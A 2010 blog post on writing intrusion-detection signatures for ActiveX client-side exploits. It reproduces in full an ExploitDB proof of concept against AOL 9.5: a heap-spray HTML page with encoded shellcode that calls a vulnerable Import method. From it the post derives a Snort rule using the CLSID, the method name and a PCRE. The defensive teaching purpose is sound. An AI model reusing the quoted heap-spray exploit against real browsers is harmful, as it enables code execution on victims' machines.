The Tao of Signature Writing – Part 4

4

Posted by Signature Analyst | Posted in Analysis, CLSID, Client-side Exploits, Signatures, Tao of Signature Writing | Posted on 22-02-2010

In this posting, we would look into ActiveX signatures that uses CLSID to detect or prevent an ActiveX exploit from coming through the network. To understand the signature better, you would have to understand more about client-side exploits using ActiveX. I do not want to duplicate the work that has been published before. I have enclosed the article that I have contributed for hakin9, as an attachment to this posting. Click here to read/download the article: Client-side Exploits.

The idea is to keep things simple, for the sake of understanding the concept of signature writing. Let us start this by answering the following:

  • What are the components of a CLSID based signature?
  • How to derive them from given data?
  • How to make the call on components to be, kept & discarded?

Let us look at a sample ActiveX exploit [Source: ExploitDB]:

# Title: AOL 9.5 ActiveX 0day Exploit (heap spray)
# EDB-ID: 11204
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Dz_attacker
# Published: 2010-01-20
# Verified: yes
# Download Exploit Code
# Download N/A
<html>
<head>
<title>AOL 9.5 ActiveX 0day Exploit (heap spray) </title>
**************************************
<br>[+] AOL 9.5 ActiveX 0day Exploit (heap spray)</br>
<br>[+] Author : Dz_attacker</br>
<br>[+] Discovered by: Hellcode Research (http://www.hellcode.net)
<br>[+] Reference: http://www.exploit-db.com/exploits/11190
<br>[+] Tested on Windows Xp SP3 ,IE7</br>
**************************************

<object classid=’clsid:A105BD70-BF56-4D10-BC91-41C88321F47C’ id=’aol’></object>
<script language=’javascript’>

// win32_exec – calc
shellcode = unescape(‘%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395′+
‘%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1′+
‘%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e’+
‘%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5′+
‘%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f’+
‘%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5′+
‘%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525′+
‘%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e’);

nops=unescape(‘%u9090%u9090′);
headersize =20;
slackspace= headersize + shellcode.length;
while(nops.length< slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0×40000) block= block+ block+ fillblock;
memory=new Array();
for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;
ret=”;
for( counter=0; counter<=1000; counter++) ret+=unescape(“%0a%0a%0a%0a”);
aol.Import(ret,”Dz_attacker”,”True”,”True”);
</script>
</head>
</html>

The following is how you could look at the components of a signature:

In the above image, it can be seen that there are 3 strong components on which a signature could be written:

  • CLSID/ProgramID
  • Method of the Vulnerable function
  • Shellcode

Shellcode is something that could always change. In this case, the shellcode used is the one for calc.exe:

shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
		     '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
     		     '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
		     '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
		     '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
		     '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
		     '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
		     '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

What about the other 2 components? CLSID is the class ID of the vulnerable ActiveX component. This is not going to change [constant] and the vulnerable method [constant]. Now, let us look at how to derive a signature from these 2 components. Since, we are writing a signature specific to above exploit, let us look at how we can do this:

  • We have the “clsid:” followed by the CLSID. Should we use this too? What if we don’t?
  • We have “aol” as the id and Import method name. Should we use “aol” along with “Import”?

Some might say that this depends on the Signature Writer. That is totally true. Some signature writers tend to keep it too open, while some might have too many constraints to narrow it down to match the exact same exploit. Why don’t we look at, “How not to be too narrow & too broad?” and settle for something in between those two.

So the answer to “We have the “clsid:” followed by the CLSID. Should we use this too? What if we don’t?”, is YES. We need to use “CLSID:” before the class ID to ensure that we are matching only the classID and not any content in the packet as it could lead to false positives. Say for example, if you have a text document that has some account number that is same as the classid in here followed by the second component of the signature, then the signature would trigger on that document. Hence, we have to narrow it down to some extent to something like this: content:”clsid:A105BD70-BF56-4D10-BC91-41C88321F47C”.

Now, let us look at the second question: “We have “aol” as the id and Import method name. Should we use “aol” along with “Import”?”. Just because we narrowed down to “clsid:” followed by CLSID number, does not mean that we have to narrow down in this case too. Just like how the Shellcode will change, the attackers might change the ID too, to just find out if they could evade the IDS/IPS. Why give them a chance? Hence, we should broaden our search to just the import method: content:”.Import(“. The reason why we have “.” and “(” around the key “Import” is to narrow the chances of triggering the signature on some term “Import” and to concentrate on the vulnerable method.

Now that we saw how to keep it narrow in some cases and how to keep it broad in the rest, let us look at other stuff that we need to keep in mind, to match the two contents in the above example:

  • Ordering
    • CLSID comes before the Method
    • CLSID comes after the Method
    • No Ordering
  • Depth
    • Positioning CLSID or Method within the packet
  • Offset
    • Positioning CLSID or Method, with respect to themselves and not with respect to the packet.

In here, I would like to position the CLSID before the method. This would help me trigger the signature specific to “AOL 9.5 ActiveX 0day Exploit (heap spray)“. I can do this ordering by using “Offset”. We cannot set the “Depth” in this case, since the position of CLSID or Method in a packet will change according to the packet size or the way in which it is sent. Hence, the content of final signature would look something like this:

content:”clsid:A105BD70-BF56-4D10-BC91-41C88321F47C”; nocase; content:”.Import(“; nocase; Offset:0;

Now, let us look into the direction of traffic. Client-side exploits generally flow from server to client: “flow:to_client,established;“. Signature type:”alert”, protocol could be TCP or UDP, but TCP in this case[session based]. Source host is any IP from External Network, to Destination Host from Home network. Client-side exploits are sent in the form of return traffic, source port: HTTP [Server port] and destination port: ANY[generally ephemeral port, since this is possible return traffic]. With all the above components, the following can be generated:

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:”ActiveX Exploit Signature Sample”; flow:to_client,established; content:”clsid:A105BD70-BF56-4D10-BC91-41C88321F47C”; nocase; content:”.Import(“; nocase; Offset:0;)

What are the other components of the signature?

  • PCRE
  • Sources/Reference
  • Revision Number

PCRE:

Perl Compatible Regular Expression[PCRE] is used in our signature to find the appropriate match. Definition of PCRE from Wikipedia:

Perl Compatible Regular Expressions (PCRE) is a regular expression C library inspired by Perl’s external interface, written by Philip Hazel. PCRE’s syntax is much more powerful and flexible than either of the POSIX regular expression flavors and many classic regular expression libraries. The name is misleading, because PCRE is Perl-compatible only if you consider a subset of PCRE’s settings and a subset of Perl’s regular expression facilities.

In this case some folks might believe that CLSID is already in the “content” part of the signature, and that this is a repetition if we use it in PCRE once again. We are not using this PCRE to repeat the value in the content, but to ensure that we do not miss any possibilities of matching this exploit. Let us look into the PCRE part of this signature:

pcre:”/<OBJECT\s+[^>]*classid\s*=\s*[\x22\x27]?\s*clsid\s*\x3a\s*\x7B?\s*A105BD70-BF56-4D10-BC91-41C88321F47C/si”;

In here, the signature is telling the PCRE compiler that there is “< object” followed by strings and “>” with multiple-strings possibly following it followed by “classid” & “=” with the “clsid”, “:” and “{“. The true classid is then inserted into the PCRE. The PCRE ends with /i to indicate the case-insensitive nature of this regular expression.

Souce/Reference:

Source or Reference of a signature is the site from which the signature writer referred the exploit or refer about the exploit. In this case, exploit-db.com website:

reference:url,www.exploit-db.com/exploits/11204;

Revision Number:

Revision number is the number of times a signature has been revised to make it work, or to make it more accurate/efficient. In this case, it is our first attempt:

rev:1;

Some also list class-type to group a specific class of signatures together. In Emerging Threats, class-type for this type of signatures is “web-application-attack”. Let us now put the signature together:

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:”ActiveX Exploit Signature Sample”; flow:to_client,established; content:”clsid:A105BD70-BF56-4D10-BC91-41C88321F47C”; nocase; content:”.Import(“; nocase; Offset:0; pcre:”/<OBJECT\s+[^>]*classid\s*=\s*[\x22\x27]?\s*clsid\s*\x3a\s*\x7B?\s*A105BD70-BF56-4D10-BC91-41C88321F47C/si”; reference:url,www.exploit-db.com/exploits/11204; rev:1;)

The above is the signature that could be used to detect or prevent, AOL 9.5 ActiveX 0day Exploit (heap spray) from entering your network or traversing through your network. This is how we write signatures for ActiveX exploit, which involves CLSID. If you have ProgramID instead of CLSID, you could replace the CLSID part in the above signature to ProgramID along with other stuff that comes with it, depending on the exploit.

Things to remember from this article:

  • Never be too concise: Do not shrink the possibilities. It might lead to false-negatives.
  • Never be too broad: It might expand possibilities, leading to false-positives.
  • Think from a bad guy’s perspective.
  • Never map/match on dynamic content: In this case, the shellcode in exploit or “id=aol”.
  • Test & Update signatures constantly & consistently: since the exploits & techniques constantly change.
  • There is NO perfect solution: Do not anticipate that your signature is going to block all attacks.
  • Try, Try, Try Again till you succeed: This is a constant fight & all we could do is to be up to date.

I hope that this article helped you understand:

  • Writing Client-side signatures: Components & Techniques
  • The Signature Writer mindset that is required

Hope you enjoyed our article. Thank you for choosing signature analytics news portal!

Comments (4)

Writing Snort Rules is harder than it looks | Finshake said on 22-02-2010

[...] noticed this post today over at the “Tao of Signature Writing” blog, and to be honest I glanced over most [...]
Joel Esler said on 22-02-2010

http://blog.joelesler.net/2010/02/writing-snort-rules-is-harder-than-it-looks.html

Just some constructive feedback. I’m not trying to offend.
Signature Analyst said on 22-02-2010

It is great review & response to be honest. I have never gotten such a granular response. Definitely something to learn from… Thank you Joel.
fimz said on 26-03-2010

Hi,

Great article. This has however raised a question in my mind, rather confusion.

Ive seen the terms snort rules and snort signatures being used interchangeably across many texts. I would really like to know which is which. e.g.
which heading would the rule below come under:

Snort Rule example or Snort Signature Example:

alert udp $EXTERNAL_NET any -> $HOME_NET 1434 (msg:”MS-SQL Worm propagation attempt”; content:”|04|”; depth:1; content:”|81 F1 03 01 04 9B 81 F1 0 1|”; content:”sock”; content:”send”; reference:bugtraq,5310; classtype:misc-attack; reference:bugtraq,5311; sid:2003; rev:2;)

Comments, help, pointers appreciated? Im sure there are others who have came across the same controversy.

Thanks, fimz

Write a comment